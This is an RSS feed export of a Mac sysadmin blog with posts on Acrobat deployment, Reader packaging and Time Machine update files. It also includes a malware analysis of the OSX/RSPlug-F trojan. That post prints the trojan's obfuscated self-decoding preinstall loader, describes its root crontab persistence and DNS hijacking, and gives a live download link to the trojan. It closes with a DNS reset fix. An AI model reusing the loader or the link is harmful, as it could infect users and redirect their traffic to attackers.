<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>brunerd &#187; Packages</title>
	<atom:link href="http://www.brunerd.com/blog/category/packages/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brunerd.com/blog</link>
	<description>curly haired mac nerd</description>
	<lastBuildDate>Tue, 27 Dec 2011 04:35:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Make Acrobat Pro 9 for Mac shut the hell up!</title>
		<link>http://www.brunerd.com/blog/2010/02/05/make-acrobat-pro-9-for-mac-shut-the-hell-up/</link>
		<comments>http://www.brunerd.com/blog/2010/02/05/make-acrobat-pro-9-for-mac-shut-the-hell-up/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 17:52:58 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[Scripting]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=165</guid>
		<description><![CDATA[So, if you deploy Acrobat Pro to a corporate environment you already know what an aggravating experience it is to try and deploy updates to Adobe products. Silent install? Sure. Silent Update? No. Standard Mac .pkg? No. So you figure &#8230; <a href="http://www.brunerd.com/blog/2010/02/05/make-acrobat-pro-9-for-mac-shut-the-hell-up/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So, if you deploy Acrobat Pro to a corporate environment you already know what an aggravating experience it is to try and deploy updates to Adobe products. Silent install? Sure. Silent Update? No. Standard Mac .pkg? No.</p>
<p>So you figure out all the files with loggen, Tracker, fseventer, or whatever your tool, then build your own package with Iceberg. Great. Then you find your &#8220;standard&#8221; users without admin privileges are getting bothered by Adobe&#8217;s SelfHeal BS.</p>
<p>Few things going on here that I&#8217;ll try and explain, the code formatting should be copy paste-able check it in a text editor, but all line breaks should be preserved.</p>
<p>Make sure you copy in the new Acrobat Internet-Plugin if the user is using that:<br />
<code>if [ -d "/Library/Internet Plug-Ins/AdobePDFViewer.plugin" ]; then<br />
rm -rf "/Library/Internet Plug-Ins/AdobePDFViewer.plugin";<br />
cp -R "/Applications/Adobe Acrobat 9 Pro/Adobe Acrobat Pro.app/Contents/MacOS/SelfHealFiles/Library/Internet Plug-Ins/AdobePDFViewer.plugin" "/Library/Internet Plug-Ins/";<br />
fi</code></p>
<p>These next keys really make it complain if it can&#8217;t find them, and yes even if you don&#8217;t use the plugin it looks for WebBrowserUsePath, so make sure it&#8217;s there, and  NoViewerSelfHealNeeded gets a new date put after it for every release! Wow neato, a fun easter egg hunt, thanks Adobe!<br />
<code>defaults write /Library/Preferences/com.adobe.acrobat.90.sh "NoViewerSelfHealNeeded Dec 21 2009" -bool TRUE<br />
defaults write /Library/Preferences/com.adobe.acrobat.pdfviewer WebBrowserUsePath -string "file://localhost/Applications/Adobe%20Acrobat%209%20Pro/Adobe%20Acrobat%20Pro.app/"<br />
defaults write /Library/Preferences/com.adobe.acrobat.pdfviewer AdobePDFDriver -string "file://localhost/Applications/Adobe%20Acrobat%209%20Pro/Adobe%20Acrobat%20Pro.app/"</code></p>
<p>Now is the truly ridiculous part: if those files and keys aren&#8217;t found Acrobat ask for an <strong>administrator</strong> password and then proceed to write them in current users ~/Library/Preferences! What your users don&#8217;t know is they can click Cancel a couple times and it will still write them out, but your they&#8217;ve already called you to remote in and authenticate them &#8211; you lose! Why Adobe?! <strong>WHY</strong>!?! Asking for an admin password when you&#8217;ll just write it to ~/Library/Preferences?</p>
<p>PDF Printer &#8211; Here&#8217;s the files you need:<code><br />
/Library/Printers/PPDs/Contents/Resources/en.lproj/ADPDF9.PPD<br />
/Library/Printers/PPD Plugins/AdobePDFPDE900.plugin<br />
/usr/libexec/cups/backend/pdf900</code><br />
They are all found in:<code>/Applications/Adobe Acrobat 9 Pro/Adobe Acrobat Pro.app/Contents/MacOS/SelfHealFiles/AdobePDFPrinter/</code></p>
<p>After you&#8217;ve copied them to their places, you can run Adobe install script:<br />
<code>/Applications/Adobe\ Acrobat\ 9\ Pro/Adobe\ Acrobat\ Pro.app/Contents/MacOS/SelfHealFiles/AdobePDFPrinter/cupshup.pl</code></p>
<p>I also figured this out in lpadmin too:<br />
<code>lpadmin -p AdobePDF9 -E -P /Library/Printers/PPDs/Contents/Resources/en.lproj/ADPDF9.PPD -v pdf900://distiller/ -D "Adobe PDF 9.0"</code></p>
<p>Even if you&#8217;ve copied in the PPD, the PDE plugin, the cups backend, and setup the printer, it&#8217;ll still think its damaged because you don&#8217;t have the PPD in Korean, Japanese, and two type of Chinese! So, must use PlistBuddy to correct this (because <code>defaults</code> is tricky to use when a dictionary is nested in an array &#8211; WHY Adobe?!)</p>
<p>Quiet the printer &#8220;repair&#8221;:<br />
<code>/usr/libexec/PlistBuddy -c "set :0:IsInstalledKey NO" /Library/Application\ Support/Adobe/Acrobat/SHExpectedMissingFileTypes.plist</code><br />
For Tiger users the path is: <code>/Library/Receipts/iTunesX.pkg/Contents/Resources/PlistBuddy</code></p>
<p>It&#8217;s almost shut the hell up, but the Adobe Updater might decide to pop-up and urge your user to call you up to run updates, so shut it up you got to jump through some hoops, its an &#8220;XML&#8221; file Adobe style so defaults won&#8217;t work on it, nor will plistbuddy, that and it&#8217;s a per user setting, so they must run it once to make the file, then you can change it:<code><br />
cat ~/Library/Application\ Support/Adobe/Updater6/AdobeUpdaterPrefs.dat | sed 's/1\&lt;\/AutoCheck\&gt;/0\&lt;\/AutoCheck\&gt;/' &gt; ~/Library/Application\ Support/Adobe/Updater6/AdobeUpdaterPrefs.new; mv ~/Library/Application\ Support/Adobe/Updater6/AdobeUpdaterPrefs.new ~/Library/Application\ Support/Adobe/Updater6/AdobeUpdaterPrefs.dat</code></p>
<p>Yes, Adobe has a <a href="http://kb2.adobe.com/cps/404/kb404813.html">document</a> for this but it seems only to remove the ability to check for updates within the app?!</p>
<p><code> </code></p>
<p>Trivia: You might want to copy  in the new AcroEFGPro90SelfHeal.xml file, although running &#8220;repair&#8221; from Acrobat will copy in the new file and for some odd Adobe reason, the self heal inside the app uses Mac line endings but when magically moved to <code>/Library/Application Support/</code>, it has Unix line endings changing the size by 2282 bytes (and also the place of a key as well?). This was a read herring in my research.<br />
<code>cp -f /Applications/Adobe\ Acrobat\ 9\ Pro/Adobe\ Acrobat\ Pro.app/Contents/MacOS/AcroEFGPro90SelfHeal.xml /Library/Application\ Support/Adobe/Acrobat/AcroEFGPro90SelfHeal.xml</code></p>
<p>Adobe: CS5 had better <strong>not</strong> use InstallerVISE, iNosso, bindiff, Java, XML, or whatever convoluted processes you are clinging to, just use the dang pkg format that Apple has provided &#8211; sheesh. Is this overwrought complex system supporting &#8220;make-work&#8221; jobs for programmers?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2010/02/05/make-acrobat-pro-9-for-mac-shut-the-hell-up/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Create a standard .pkg for Acrobat Reader</title>
		<link>http://www.brunerd.com/blog/2009/06/10/create-a-standard-pkg-for-acrobat-reader/</link>
		<comments>http://www.brunerd.com/blog/2009/06/10/create-a-standard-pkg-for-acrobat-reader/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 19:59:29 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=114</guid>
		<description><![CDATA[It&#8217;s time to patch Acrobat Reader again! And leave it to Adobe to use a patcher app (or Installer Vise, or a downloader, or a some crazy Javascript/XML/AIR based installer) to make things hard for mass deployment to be achieved &#8230; <a href="http://www.brunerd.com/blog/2009/06/10/create-a-standard-pkg-for-acrobat-reader/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s time to patch Acrobat Reader again! And leave it to Adobe to use a patcher app (or Installer Vise, or a downloader, or a some crazy Javascript/XML/AIR based installer) to make things hard for mass deployment to be achieved (and no I don&#8217;t think the Deployment Kit for CS4 makes much sense!). </p>
<p>Perhaps soon they&#8217;ll have a full version of Reader available for download in a seemingly standard .pkg file, but don&#8217;t be fooled! If you admin Macs like I do you might have noticed it uses the iNosso plugin to uncompress it&#8217;s payload and it is totally incompatible with ARD&#8217;s Install Package. It just fails.</p>
<p>But fear not, I am a big fan of <a href="http://s.sudre.free.fr/Software/Iceberg.html">Iceberg</a> and it&#8217;s ability to make the painstaking process of installing Adobe apps <strong>so</strong> much easier. And I want to share the love. So here take <a href='http://www.brunerd.com/blog/wp-content/uploads/adobereader-iceberg.zip'>this.</a></p>
<p>I put a small how-to in the <a href='http://www.brunerd.com/blog/wp-content/uploads/adobereader-iceberg.zip'>zip file</a> with a sparse set of instructions and caveats. Basically you install Acrobat Reader in the normal way, install Iceberg, open the iceberg project, and build. You&#8217;ll then have a pkg that ARD can push out.</p>
<p>If you have questions &#8212; Google it! <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
(OK you can leave a comment, but for gawd&#8217;s sake not &#8220;How do I use this?&#8221; &#8212; seriously!)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/06/10/create-a-standard-pkg-for-acrobat-reader/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tearing Apart OSX/RSPlug-F</title>
		<link>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/</link>
		<comments>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 19:51:39 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Industry]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/?p=70</guid>
		<description><![CDATA[OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan OSX/RSPlug-F. Thanks to the effervescent Graham Cluley for his &#8230; <a href="http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>OK&#8230; I might be a bit late to the party (and Conficker is grabbing all the headlines) but there were some interesting things I found looking at the  headline grabbing trojan <a href="http://www.sophos.com/security/blog/2009/03/3710.html" target="_blank">OSX/RSPlug-F</a>. Thanks to the effervescent Graham Cluley for his <a href="http://www.sophos.com/blogs/gc/g/2009/03/25/apple-mac-malware-caught-camera/" target="_blank">witty post</a> with video demonstration of OSX/RSPlug-F being detected. It&#8217;s what started this investigation.</p>
<p>So, being the curious guy I am I decided to download the very same file Graham did in his demo. While, hdtvxvid.org had since fixed their hijacked page, luckily the status bar had a readable URL that with some squinting I was able to decipher it&#8230; So I downloaded the sucker, you can too!</p>
<p>Live Code: <a href="http://plumpals.com/download/654a635065413d3df111c253/HDTVPlayerv3.5.exe" target="_blank">OSX/RSPlug-F trojan</a></p>
<p>And what else can I say but: I&#8217;ll be darned if I can get the thing to <strong>work</strong>! Actually I do get it to work, but due to some coding errors out of the box, it&#8217;s a dud.</p>
<p>So let&#8217;s start the dissection:</p>
<p>The URL downloads HDTVPlayerv3.5.dmg, inside is contained install.pkg, which if you&#8217;re using Safari on a Mac and have the damnable default of &#8220;Open &#8216;Safe&#8217; files after Downloading&#8221; it&#8217;ll go right to the installer. Which let me note <strong>Open &#8220;Safe&#8221; Files after downloading </strong>is the<strong> stupidest</strong> thing to happen to browsers since Active-X. The air quotes around &#8220;Safe&#8221; do not help, Apple, it&#8217;s a sly wink and a nod that <strong>no file type is totally safe</strong> but *shrug* whatcha gonna do? I&#8217;ll tell you what: <strong>don&#8217;t make it a dang default</strong>!</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg"><img class="alignnone size-full wp-image-86" title="firefox-rsplug-cached-before-clicking-save" src="http://www.brunerd.com/blog/wp-content/uploads/firefox-rsplug-cached-before-clicking-save.jpg" alt="firefox-rsplug-cached-before-clicking-save" width="550" height="316" /></a></p>
<p><strong>Firefox</strong> is not off the hook either, let me bring up the poisonous Firefox convenience: &#8220;predownloading&#8221;. Did everyone notice how the virus alert for Graham pops up before he clicks save? How Firefox initiates downloads immediately to <a href="http://www.brunerd.com/blog/wp-content/uploads/firefoxcache-pre_downloading.jpg" target="_blank">cache</a> and upon the user clicking Save it copies it to the destination or if the click Cancel it stays there. I think Firefox&#8217;s behaviour is ridiculous, yes it might make me happy when I download some ginormous game demo and come back hours later having forgotten to click Save and am pleasantly surprised that &#8220;hey it&#8217;s already here!&#8221;, but otherwise let me decide what and when something goes on my hard drive.</p>
<p>Anyway&#8230; let&#8217;s look at an Installer window the average user won&#8217;t look at: Show Files</p>
<p>./AdobeFlash<br />
./Mozillaplug.plugin<br />
./Mozillaplug.plugin/Contents<br />
./Mozillaplug.plugin/Contents/Info.plist<br />
./Mozillaplug.plugin/Contents/MacOS<br />
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin<br />
./Mozillaplug.plugin/Contents/Resources<br />
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc<br />
./Mozillaplug.plugin/Contents/version.plist</p>
<p>First couple of suspect thing is a single flat file called AdobeFlash and then Mozillaplug.plugin, which is really just the <a href="http://unsanity.org/archives/mac_os_x/reminder_verifi.php" target="_blank">mysterious</a> VerifiedDownloadPlugin. No mention of Cinema eh?</p>
<p>Take a gander in <strong>Info.plist of install.pkg</strong> to see where it goes:<br />
IFPkgFlagDefaultLocation <em>/Library/Internet Plug-Ins/<br />
</em></p>
<p>So then, why would it need root privileges for an admin writable folder, eh?<br />
<a href="http://www.brunerd.com/blog/wp-content/uploads/redflag.png"><img class="alignnone size-full wp-image-84" title="redflag" src="http://www.brunerd.com/blog/wp-content/uploads/redflag.png" alt="redflag" width="514" height="407" /></a><br />
<strong>IFPkgFlagAuthorizationAction </strong><em>RootAuthorization</em>, for those following along in the Info.plist<br />
Bonus: <strong>CFBundleGetInfoString</strong> = <em>who cares<br />
<span style="font-style: normal;">Double Secret Bonus:<br />
Resource/en.lproj/Description.plist <strong>IFPkgDescriptionDescription</strong><em> = shutdafuckup</em></span></em></p>
<p>Strangely when you look in both the logs created by Installer.app in /var/log/installer.log:<br />
Leopard it says: <code>"<strong>admin</strong> auth received to install"<br />
</code>Tiger says: <code>"<strong>Administrator</strong> authorization granted."<br />
</code>I don&#8217;t know why you wouldn&#8217;t want the logs to clearly state root privileges were given, but there you have it, it doesn&#8217;t.</p>
<p>So what does it do with the root privileges? Hmmm? Let&#8217;s look in the preinstall/preupgrade <a href="http://www.brunerd.com/blog/wp-content/uploads/osx-rsplug-f_preinstall.txt">scripts</a> which are identical because apparently the author didn&#8217;t realize that a preflight script would kill two birds with one stone.</p>
<p><code>#!/bin/sh<br />
if [ $# != 1 ]; then type=0; else type=1; fi &amp;&amp; tail -37 $0 | sed '/\n/!G;s/\(.\)\(.*\n\)/&amp;\2\1/;//D;s/.//' | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' &gt;`uname -p` &amp;&amp; sh `uname -p` &amp;&amp; rm `uname -p` &amp;&amp; exit<br />
yksrepsak 777 nigeb<br />
O(2/H178PI@(C%6;EQ&amp;&lt;#-RX"-Y(2/21$1!!52M<br />
.... &lt;SNIP&gt; ....<br />
*4F;DI`8*(B(`A$8*TD(`5T4^&lt;3+4EC-8<br />
`<br />
dne<br />
</code></p>
<p>OK, so it takes the tail of itself , does some sed magic to flip around the reveresed UUEncoded data, spit it out, replace &#8216;applemac&#8217; with &#8216;AdobeFlash&#8217; (remember that&#8217;s in the bom payload), replace bsd with 7000, gnu with a boolean value that depends on whether there are any arguments when the script is called. Then after all that sed nonsense, names the file the result of uname -p, attempts to execute the file (as root), delete that file, then exit.</p>
<p>Well, we&#8217;ll get to the &#8216;unencrypted&#8217; payload in a sec let&#8217;s run this and see what happens <a href="http://www.brunerd.com/blog/wp-content/uploads/leopard-fail.txt">leopard-fail</a> anf <a href="http://www.brunerd.com/blog/wp-content/uploads/tiger-fail.txt">tiger-fail</a> &#8212; they fail. As a consequence, the AdobeFlash is NOT installed, but it is the same code as the preinstall so, still not off the hook here.Let&#8217;s see where we&#8217;re at:</p>
<p>The root crontab is altered to inlude: <code>* */5 * * * /Library/Internet Plug-Ins/AdobeFlash<br />
</code>Since the script fails, the package does not install, so the crontab pointing to it is useless&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/i386.txt">i386</a> is left in the root, it doesn&#8217;t get a chance to delete itself, considering that all those &amp;&amp; statements mean &#8220;execute the next step only if the last thing completed correctly&#8221;, since it fails it doesn&#8217;t get deleted.</p>
<p>i386 contains some more backward UUEncoded data with and some more sed replacements, then pipes it all into perl, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_perl.txt">perl code</a> it attempts to run, but unfortunately it fails on line 14 and goes no further. But let&#8217;s say we fix the code so it can talk to the server, get a response, and parse the output into a file&#8230;</p>
<p><a href="http://www.brunerd.com/blog/wp-content/uploads/685.txt">685</a> is downloaded to /tmp where it runs, does some more sed string swaps, secret decoder ring translations for the DNS servers, outputs <a href="http://www.brunerd.com/blog/wp-content/uploads/rsplug-f_scutil-dnschange.txt">this</a> &#8212; the nasty part that changes your DNS entries, then deletes the temp file. It makes good use of the very handy concept of &#8220;here documents&#8221; to script scutil to change the DNS servers, which seem to rotate, you&#8217;ll get new servers everytime you run it, suffice to say, the Ukranian subnet of 85.255.112.xxx is totally compromised, as well as 94.247.2.109 the Latvian server from which the files are downloaded. But who knows who&#8217;s financing and running it in this global day and age. But the propensity for <a href="http://en.wikipedia.org/wiki/Matryoshka_doll" target="_blank">matryoshka</a> style nested code seems telling <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Running some dig commands to get DNS answers from the servers reveals they are given back valid addresses, currently, but I only tested a few sites, it might only have redirection for select dummy bank sites they have set up, who knows&#8230;</p>
<p>The lesson here is: Always use Installer to look at the Files, see what your authorization level is, check out the pre/post scripts and generally <strong>do what only 1% of the most vigilant of the population would do and you&#8217;ll be fine</strong>. Hopefully, root authorization will carry more weight in the Installer.app UI and say &#8220;Hey are your sure you want to grant <strong>root</strong> &#8212; REALLY!?&#8221;, pre/postflight scripts will be easier to look in UI (I <strong>am</strong> dreaming aren&#8217;t I), the logs won&#8217;t lie about the auth level (very do-able), and Firefox will respect my wishes and only truly Save when <strong>I</strong> click Save&#8230; (it&#8217;s open source, easy to change, but it&#8217;ll take a flame war to settle it)</p>
<p>Until then, I hope you enjoyed this malware tour, stay safe and away from porn sites with 3rd party HD codecs.</p>
<p>Update:<br />
I suppose it&#8217;d be helpful to add some instructions on how to reverse the scutil modifications, here&#8217;s the <a href="http://www.brunerd.com/blog/wp-content/uploads/reset-dns.sh">script</a> (the code might look familiar)</p>
<p><code>#!/bin/sh<br />
if (( $(id -u) != 0 )); then echo "Please run with sudo" &amp;&amp; exit 1; fi<br />
PSID=$( (/usr/sbin/scutil | /usr/bin/grep PrimaryService | /usr/bin/sed -e 's/.*PrimaryService : //')&lt;&lt; EOF<br />
get State:/Network/Global/IPv4<br />
d.show<br />
quit<br />
EOF<br />
)</code></p>
<p><code> </code></p>
<p><code>/usr/sbin/scutil &lt;&lt; EOF<br />
remove State:/Network/Service/$PSID/DNS<br />
quit<br />
EOF</p>
<p></code></p>
<p><code>echo "Please toggle your network adapter on/off to refresh DNS servers from DHCP"</code></p>
<p>Basically it nukes the DNS entries that got hosed, then pulls down the DHCP info, uless you have manually entered DNS settings, in which case, you should know what you&#8217;re doing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2009/03/30/tearing-apart-osxrsplug-f/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>What&#8217;s in the Time Machine Update?</title>
		<link>http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/</link>
		<comments>http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 18:40:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/</guid>
		<description><![CDATA[Here&#8217;s the meat of what gets updated: backup daemon helper &#38; file vault image tool, loginwindow.app, Broadcom and Aetheros wireless kexts. Lotsa System.kexts: BSD, IOKit, Libkern, MAC Framework, Mach. The AFP filesystem plugin, metadata framework, the backupd launch daemon plists, &#8230; <a href="http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the meat of what gets updated: backup daemon helper &amp; file vault image tool, loginwindow.app, Broadcom and Aetheros wireless kexts. Lotsa System.kexts: BSD, IOKit, Libkern, MAC Framework, Mach. The AFP filesystem plugin, metadata framework, the backupd launch daemon plists, and the DiskImages framework.<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"> </p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/SystemVersion.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/backupd.bundle/Contents/Resources/backupd-helper</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/backupd.bundle/Contents/Resources/fvimagetool</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortAtheros.kext/Contents/MacOS/AirPortAtheros</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AppleAirPortBrcm4311.kext/Contents/MacOS/AppleAirPortBrcm4311</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/BSDKernel.kext/BSDKernel</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/IOKit.kext/IOKit</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/Libkern.kext/Libkern</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/MACFramework.kext/MACFramework</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/Mach.kext/Mach</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System6.0.kext/kernel.6.0</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Extensions</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System.kext/PlugIns/Unsupported.kext/Unsupported</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Filesystems/AppleShare/afpfs.kext/Contents/MacOS/afpfs</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/LaunchDaemons/com.apple.backupd-attach.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/LaunchDaemons/com.apple.backupd-auto.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/LaunchDaemons/com.apple.backupd-wake.plist</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>/System/Library/PrivateFrameworks/DiskImages.framework/Versions/A/DiskImages/usr/share/man/man1/tmdiagnose.1</p></blockquote>
